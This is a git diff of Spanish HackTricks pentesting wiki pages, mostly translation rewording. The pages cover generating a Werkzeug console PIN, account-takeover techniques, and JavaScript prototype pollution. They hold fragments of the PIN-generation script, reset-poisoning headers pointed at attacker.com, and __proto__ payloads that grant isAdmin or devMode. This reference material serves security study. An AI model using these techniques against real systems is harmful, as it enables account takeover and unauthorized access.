|
continue
|
||||||
|
|
||||||
````
|
if value:
|
||||||
|
linux += value
|
||||||
|
break
|
||||||
|
|
||||||
|
# Containers share the same machine id, add some cgroup
|
||||||
|
# information. This is used outside containers too but should be
|
||||||
|
# relatively stable across boots.
|
||||||
|
try:
|
||||||
|
with open("/proc/self/cgroup", "rb") as f:
|
||||||
|
linux += f.readline().strip().rpartition(b"/")[2]
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if linux:
|
||||||
|
return linux
|
||||||
|
|
||||||
|
# On OS X, use ioreg to get the computer's serial number.
|
||||||
|
try:
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Al recopilar todos los datos necesarios, el script de explotación puede ejecutarse para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
|
Una vez recopilados todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
|
||||||
```python
|
```python
|
||||||
import hashlib
|
import hashlib
|
||||||
from itertools import chain
|
from itertools import chain
|
||||||
|
@ -149,19 +153,42 @@ else:
|
||||||
rv = num
|
rv = num
|
||||||
|
|
||||||
print(rv)
|
print(rv)
|
||||||
````
|
```
|
||||||
|
|
||||||
Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para garantizar que el PIN generado coincida con el esperado por la consola Werkzeug.
|
Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para garantizar que el PIN generado coincida con el esperado por la consola Werkzeug.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
|
Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### Referencias
|
## Caracteres Unicode de Werkzeug
|
||||||
|
|
||||||
|
Como se observa en [**este problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug no cierra una solicitud con caracteres Unicode en las cabeceras. Y como se explica en [**este informe**](https://mizu.re/post/twisty-python), esto podría causar una vulnerabilidad de CL.0 Request Smuggling.
|
||||||
|
|
||||||
|
Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor se **rompa**. Sin embargo, si la conexión HTTP se creó con la cabecera **`Connection: keep-alive`**, el cuerpo de la solicitud no se leerá y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud se tratará como la **siguiente solicitud HTTP**.
|
||||||
|
|
||||||
|
## Referencias
|
||||||
|
|
||||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||||
|
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||||
|
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
**Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
@ -16,11 +16,11 @@ Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
## **Problema de autorización**
|
## **Problema de autorización**
|
||||||
|
|
||||||
Se debe intentar cambiar el correo electrónico de una cuenta y examinar el proceso de confirmación. Si se encuentra débil, el correo electrónico debe cambiarse al de la víctima prevista y luego confirmarse.
|
Se debe intentar cambiar el correo electrónico de una cuenta, y se debe examinar el proceso de confirmación. Si se encuentra débil, el correo electrónico debe cambiarse por el del objetivo y luego confirmarse.
|
||||||
|
|
||||||
## **Problema de Normalización Unicode**
|
## **Problema de Normalización Unicode**
|
||||||
|
|
||||||
1. La cuenta de la víctima prevista `victim@gmail.com`
|
1. La cuenta del objetivo `victim@gmail.com`
|
||||||
2. Se debe crear una cuenta utilizando Unicode\
|
2. Se debe crear una cuenta utilizando Unicode\
|
||||||
por ejemplo: `vićtim@gmail.com`
|
por ejemplo: `vićtim@gmail.com`
|
||||||
|
|
||||||
|
@ -32,21 +32,21 @@ Para más detalles, consulta el documento sobre Normalización Unicode:
|
||||||
|
|
||||||
Si el sistema objetivo permite que el **enlace de restablecimiento se reutilice**, se deben realizar esfuerzos para **encontrar más enlaces de restablecimiento** utilizando herramientas como `gau`, `wayback` o `scan.io`.
|
Si el sistema objetivo permite que el **enlace de restablecimiento se reutilice**, se deben realizar esfuerzos para **encontrar más enlaces de restablecimiento** utilizando herramientas como `gau`, `wayback` o `scan.io`.
|
||||||
|
|
||||||
## **Pre Toma de control de cuenta**
|
## **Antes de la Toma de Control de Cuenta**
|
||||||
|
|
||||||
1. Se debe utilizar el correo electrónico de la víctima para registrarse en la plataforma y establecer una contraseña (se debe intentar confirmarla, aunque la falta de acceso a los correos electrónicos de la víctima podría hacer que esto sea imposible).
|
1. Se debe utilizar el correo electrónico de la víctima para registrarse en la plataforma y se debe establecer una contraseña (se debe intentar confirmarla, aunque la falta de acceso a los correos electrónicos de la víctima podría hacer que esto sea imposible).
|
||||||
2. Se debe esperar a que la víctima se registre utilizando OAuth y confirme la cuenta.
|
2. Se debe esperar a que la víctima se registre utilizando OAuth y confirme la cuenta.
|
||||||
3. Se espera que el registro regular se confirme, lo que permitirá acceder a la cuenta de la víctima.
|
3. Se espera que el registro regular se confirme, lo que permitirá acceder a la cuenta de la víctima.
|
||||||
|
|
||||||
## **Configuración errónea de CORS para Toma de control de cuenta**
|
## **Configuración incorrecta de CORS para la Toma de Control de Cuenta**
|
||||||
|
|
||||||
Si la página contiene **configuraciones erróneas de CORS**, es posible que se pueda **robar información sensible** del usuario para **tomar el control de su cuenta** o hacer que cambie la información de autenticación con el mismo propósito:
|
Si la página contiene **configuraciones incorrectas de CORS**, es posible que se pueda **robar información sensible** del usuario para **tomar el control de su cuenta** o hacer que cambie la información de autenticación con el mismo propósito:
|
||||||
|
|
||||||
{% content-ref url="cors-bypass.md" %}
|
{% content-ref url="cors-bypass.md" %}
|
||||||
[cors-bypass.md](cors-bypass.md)
|
[cors-bypass.md](cors-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## **CSRF para Toma de control de cuenta**
|
## **CSRF para la Toma de Control de Cuenta**
|
||||||
|
|
||||||
Si la página es vulnerable a CSRF, es posible que se pueda hacer que el **usuario modifique su contraseña**, correo electrónico o autenticación para luego acceder a ella:
|
Si la página es vulnerable a CSRF, es posible que se pueda hacer que el **usuario modifique su contraseña**, correo electrónico o autenticación para luego acceder a ella:
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ Si la página es vulnerable a CSRF, es posible que se pueda hacer que el **usuar
|
||||||
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## **XSS para Toma de control de cuenta**
|
## **XSS para la Toma de Control de Cuenta**
|
||||||
|
|
||||||
Si encuentras un XSS en la aplicación, es posible que puedas robar cookies, almacenamiento local o información de la página web que podría permitirte tomar el control de la cuenta:
|
Si encuentras un XSS en la aplicación, es posible que puedas robar cookies, almacenamiento local o información de la página web que podría permitirte tomar el control de la cuenta:
|
||||||
|
|
||||||
|
@ -80,7 +80,7 @@ Si encuentras un XSS limitado o tomas el control de un subdominio, podrías juga
|
||||||
|
|
||||||
Si la respuesta de autenticación se puede **reducir a un simple booleano, intenta cambiar false por true** y verifica si obtienes acceso.
|
Si la respuesta de autenticación se puede **reducir a un simple booleano, intenta cambiar false por true** y verifica si obtienes acceso.
|
||||||
|
|
||||||
## OAuth para Toma de control de cuenta
|
## OAuth para la Toma de Control de Cuenta
|
||||||
|
|
||||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||||
|
@ -88,9 +88,9 @@ Si la respuesta de autenticación se puede **reducir a un simple booleano, inten
|
||||||
|
|
||||||
## Inyección de Cabecera de Host
|
## Inyección de Cabecera de Host
|
||||||
|
|
||||||
1. Se modifica la cabecera Host al iniciar una solicitud de restablecimiento de contraseña.
|
1. Se modifica la cabecera de Host al iniciar una solicitud de restablecimiento de contraseña.
|
||||||
2. Se altera la cabecera de proxy `X-Forwarded-For` a `attacker.com`.
|
2. Se altera la cabecera de proxy `X-Forwarded-For` a `attacker.com`.
|
||||||
3. Las cabeceras Host, Referrer y Origin se cambian simultáneamente a `attacker.com`.
|
3. Las cabeceras de Host, Referrer y Origin se cambian simultáneamente a `attacker.com`.
|
||||||
4. Después de iniciar un restablecimiento de contraseña y luego optar por reenviar el correo, se emplean los tres métodos mencionados anteriormente.
|
4. Después de iniciar un restablecimiento de contraseña y luego optar por reenviar el correo, se emplean los tres métodos mencionados anteriormente.
|
||||||
|
|
||||||
## Manipulación de Respuesta
|
## Manipulación de Respuesta
|
||||||
|
@ -102,7 +102,7 @@ Si la respuesta de autenticación se puede **reducir a un simple booleano, inten
|
||||||
|
|
||||||
Estas técnicas de manipulación son efectivas en escenarios donde se utiliza JSON para la transmisión y recepción de datos.
|
Estas técnicas de manipulación son efectivas en escenarios donde se utiliza JSON para la transmisión y recepción de datos.
|
||||||
|
|
||||||
## Cambiar correo electrónico de sesión actual
|
## Cambiar el correo electrónico de la sesión actual
|
||||||
|
|
||||||
Desde [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
|
Desde [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
|
||||||
|
|
||||||
|
@ -110,7 +110,9 @@ Desde [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e50
|
||||||
* El atacante recibe un enlace para confirmar el cambio de correo electrónico.
|
* El atacante recibe un enlace para confirmar el cambio de correo electrónico.
|
||||||
* El atacante envía al víctima el enlace para que haga clic en él.
|
* El atacante envía al víctima el enlace para que haga clic en él.
|
||||||
* El correo electrónico de la víctima se cambia al indicado por el atacante.
|
* El correo electrónico de la víctima se cambia al indicado por el atacante.
|
||||||
* El ataque puede recuperar la contraseña y tomar el control de la cuenta.
|
* El atacante puede recuperar la contraseña y tomar el control de la cuenta.
|
||||||
|
|
||||||
|
Esto también ocurrió en [**este informe**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
|
@ -119,7 +121,7 @@ Desde [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e50
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Objetos en JavaScript <a href="#id-053a" id="id-053a"></a>
|
## Objetos en JavaScript <a href="#id-053a" id="id-053a"></a>
|
||||||
|
|
||||||
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin propiedades heredadas.
|
Los objetos en JavaScript son esencialmente colecciones de pares clave-valor, conocidos como propiedades. Un objeto puede crearse utilizando `Object.create` con `null` como argumento para producir un objeto vacío. Este método permite la creación de un objeto sin ninguna propiedad heredada.
|
||||||
```javascript
|
```javascript
|
||||||
// Run this in the developers tools console
|
// Run this in the developers tools console
|
||||||
console.log(Object.create(null)); // This will output an empty object.
|
console.log(Object.create(null)); // This will output an empty object.
|
||||||
|
@ -59,16 +59,16 @@ Cabe destacar que cuando se añade una propiedad a un objeto que sirve como prot
|
||||||
|
|
||||||
## Explorando la Contaminación de Prototipos en JavaScript
|
## Explorando la Contaminación de Prototipos en JavaScript
|
||||||
|
|
||||||
Los objetos de JavaScript están definidos por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de objeto puede influir en todos los objetos en el entorno.
|
Los objetos de JavaScript están definidos por pares clave-valor y heredan del prototipo de objeto de JavaScript. Esto significa que alterar el prototipo de Object puede influir en todos los objetos en el entorno.
|
||||||
|
|
||||||
Veamos un ejemplo diferente para ilustrar:
|
Vamos a usar un ejemplo diferente para ilustrar:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
}
|
}
|
||||||
var car1 = new Vehicle("Tesla Model S");
|
var car1 = new Vehicle("Tesla Model S");
|
||||||
```
|
```
|
||||||
El acceso al prototipo Object es posible a través de:
|
El acceso al prototipo de Object es posible a través de:
|
||||||
```javascript
|
```javascript
|
||||||
car1.__proto__.__proto__;
|
car1.__proto__.__proto__;
|
||||||
Vehicle.__proto__.__proto__;
|
Vehicle.__proto__.__proto__;
|
||||||
|
@ -106,7 +106,7 @@ car1.constructor.prototype.isElectric = true;
|
||||||
```
|
```
|
||||||
Esto afecta solo a los objetos creados a partir del constructor `Vehicle`, dándoles las propiedades `beep`, `hasWheels`, `honk` e `isElectric`.
|
Esto afecta solo a los objetos creados a partir del constructor `Vehicle`, dándoles las propiedades `beep`, `hasWheels`, `honk` e `isElectric`.
|
||||||
|
|
||||||
Dos métodos para afectar globalmente a los objetos JavaScript a través de la contaminación de prototipos incluyen:
|
Dos métodos para afectar globalmente a los objetos JavaScript a través de la contaminación del prototipo incluyen:
|
||||||
|
|
||||||
1. Contaminando directamente el `Object.prototype`:
|
1. Contaminando directamente el `Object.prototype`:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -146,7 +146,7 @@ console.log(key1 + "." + key2)
|
||||||
```
|
```
|
||||||
### Contaminación de elementos de un array
|
### Contaminación de elementos de un array
|
||||||
|
|
||||||
Ten en cuenta que al igual que puedes contaminar atributos de objetos en JS, si tienes acceso para contaminar un array también puedes **contaminar los valores del array** accesibles **por índices** (nota que no puedes sobrescribir valores, por lo que necesitas contaminar índices que de alguna manera sean utilizados pero no escritos).
|
Tenga en cuenta que al igual que puede contaminar atributos de objetos en JS, si tiene acceso para contaminar un array, también puede **contaminar los valores del array** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que de alguna manera se utilicen pero no se escriban).
|
||||||
```javascript
|
```javascript
|
||||||
c = [1,2]
|
c = [1,2]
|
||||||
a = []
|
a = []
|
||||||
|
@ -189,7 +189,7 @@ Object.prototype.isAdmin = true
|
||||||
let user = {}
|
let user = {}
|
||||||
user.isAdmin // true
|
user.isAdmin // true
|
||||||
```
|
```
|
||||||
El mecanismo detrás de esto implica manipular propiedades de tal manera que si un atacante tiene control sobre ciertas entradas, pueden modificar el prototipo de todos los objetos en la aplicación. Esta manipulación generalmente implica establecer la propiedad `__proto__`, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.
|
El mecanismo detrás de esto implica manipular propiedades de tal manera que si un atacante tiene control sobre ciertas entradas, pueden modificar el prototipo de todos los objetos en la aplicación. Esta manipulación típicamente implica establecer la propiedad `__proto__`, que, en JavaScript, es sinónimo de modificar directamente el prototipo de un objeto.
|
||||||
|
|
||||||
Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se describe en un [estudio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf) específico, incluyen:
|
Las condiciones bajo las cuales este ataque puede ejecutarse con éxito, como se describe en un [estudio](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf) específico, incluyen:
|
||||||
|
|
||||||
|
@ -207,6 +207,10 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
||||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Otros payloads:
|
||||||
|
|
||||||
|
* [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||||
|
|
||||||
## Contaminación de prototipos del lado del cliente a XSS
|
## Contaminación de prototipos del lado del cliente a XSS
|
||||||
|
|
||||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||||
|
@ -215,41 +219,41 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
||||||
|
|
||||||
### CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend
|
### CVE-2019–11358: Ataque de contaminación de prototipos a través de jQuery $ .extend
|
||||||
|
|
||||||
[Para más detalles, consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) En jQuery, la función `$ .extend` puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se utiliza comúnmente para clonar objetos o fusionar propiedades de un objeto predeterminado. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:
|
[Para más detalles, consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) En jQuery, la función `$ .extend` puede llevar a la contaminación de prototipos si se utiliza incorrectamente la función de copia profunda. Esta función se usa comúnmente para clonar objetos o fusionar propiedades de un objeto predeterminado. Sin embargo, cuando está mal configurada, las propiedades destinadas a un nuevo objeto pueden asignarse al prototipo en su lugar. Por ejemplo:
|
||||||
```javascript
|
```javascript
|
||||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||||
console.log({}.devMode); // Outputs: true
|
console.log({}.devMode); // Outputs: true
|
||||||
```
|
```
|
||||||
Esta vulnerabilidad, identificada como CVE-2019-11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso de administrador no autorizado si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
|
Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso de administrador no autorizado si propiedades como `isAdmin` se verifican sin una verificación de existencia adecuada.
|
||||||
|
|
||||||
### CVE-2018-3721, CVE-2019-10744: Ataque de contaminación de prototipos a través de lodash
|
### CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash
|
||||||
|
|
||||||
[Para más detalles consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[Para más detalles consulta este artículo](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||||
|
|
||||||
[Lodash](https://www.npmjs.com/package/lodash) encontró vulnerabilidades similares de contaminación de prototipos (CVE-2018-3721, CVE-2019-10744). Estos problemas se abordaron en la versión 4.17.11.
|
[Lodash](https://www.npmjs.com/package/lodash) encontró vulnerabilidades similares de polución de prototipos (CVE-2018–3721, CVE-2019–10744). Estos problemas se abordaron en la versión 4.17.11.
|
||||||
|
|
||||||
### Otro tutorial con CVEs
|
### Otro tutorial con CVEs
|
||||||
|
|
||||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||||
|
|
||||||
### Herramientas para detectar la Contaminación de Prototipos
|
### Herramientas para detectar la Polución de Prototipos
|
||||||
|
|
||||||
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Extensión de Burp Suite diseñada para detectar y analizar vulnerabilidades de contaminación de prototipos en aplicaciones web. Esta herramienta automatiza el proceso de escaneo de solicitudes para identificar posibles problemas de contaminación de prototipos. Explota gadgets conocidos, métodos para aprovechar la contaminación de prototipos para ejecutar acciones dañinas, centrándose particularmente en las bibliotecas de Node.js.
|
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Extensión de Burp Suite diseñada para detectar y analizar vulnerabilidades de polución de prototipos en el lado del servidor en aplicaciones web. Esta herramienta automatiza el proceso de escaneo de solicitudes para identificar posibles problemas de polución de prototipos. Explota gadgets conocidos, métodos para aprovechar la polución de prototipos para ejecutar acciones dañinas, centrándose particularmente en las bibliotecas de Node.js.
|
||||||
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Esta extensión identifica vulnerabilidades de contaminación de prototipos en el lado del servidor. Utiliza técnicas descritas en la [contaminación de prototipos en el lado del servidor](https://portswigger.net/research/server-side-prototype-pollution).
|
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Esta extensión identifica vulnerabilidades de polución de prototipos en el lado del servidor. Utiliza técnicas descritas en la [polución de prototipos en el lado del servidor](https://portswigger.net/research/server-side-prototype-pollution).
|
||||||
|
|
||||||
### Contaminación de Prototipos AST en NodeJS
|
### Polución de Prototipos AST en NodeJS
|
||||||
|
|
||||||
NodeJS utiliza extensamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la contaminación de prototipos en motores de plantillas, específicamente Handlebars y Pug.
|
NodeJS utiliza extensamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la polución de prototipos en motores de plantillas, específicamente Handlebars y Pug.
|
||||||
|
|
||||||
#### Análisis de Vulnerabilidad de Handlebars
|
#### Análisis de Vulnerabilidad de Handlebars
|
||||||
|
|
||||||
El motor de plantillas Handlebars es susceptible a un ataque de contaminación de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo `javascript-compiler.js`. La función `appendContent`, por ejemplo, concatena `pendingContent` si está presente, mientras que la función `pushSource` restablece `pendingContent` a `undefined` después de agregar la fuente.
|
El motor de plantillas Handlebars es susceptible a un ataque de polución de prototipos. Esta vulnerabilidad surge de funciones específicas dentro del archivo `javascript-compiler.js`. La función `appendContent`, por ejemplo, concatena `pendingContent` si está presente, mientras que la función `pushSource` restablece `pendingContent` a `undefined` después de agregar la fuente.
|
||||||
|
|
||||||
**Proceso de Explotación**
|
**Proceso de Explotación**
|
||||||
|
|
||||||
La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:
|
La explotación aprovecha el AST (Árbol de Sintaxis Abstracta) producido por Handlebars, siguiendo estos pasos:
|
||||||
|
|
||||||
1. **Manipulación del Analizador**: Inicialmente, el analizador, a través del nodo `NumberLiteral`, obliga a que los valores sean numéricos. La contaminación de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas.
|
1. **Manipulación del Analizador**: Inicialmente, el analizador, a través del nodo `NumberLiteral`, obliga a que los valores sean numéricos. La polución de prototipos puede eludir esto, permitiendo la inserción de cadenas no numéricas.
|
||||||
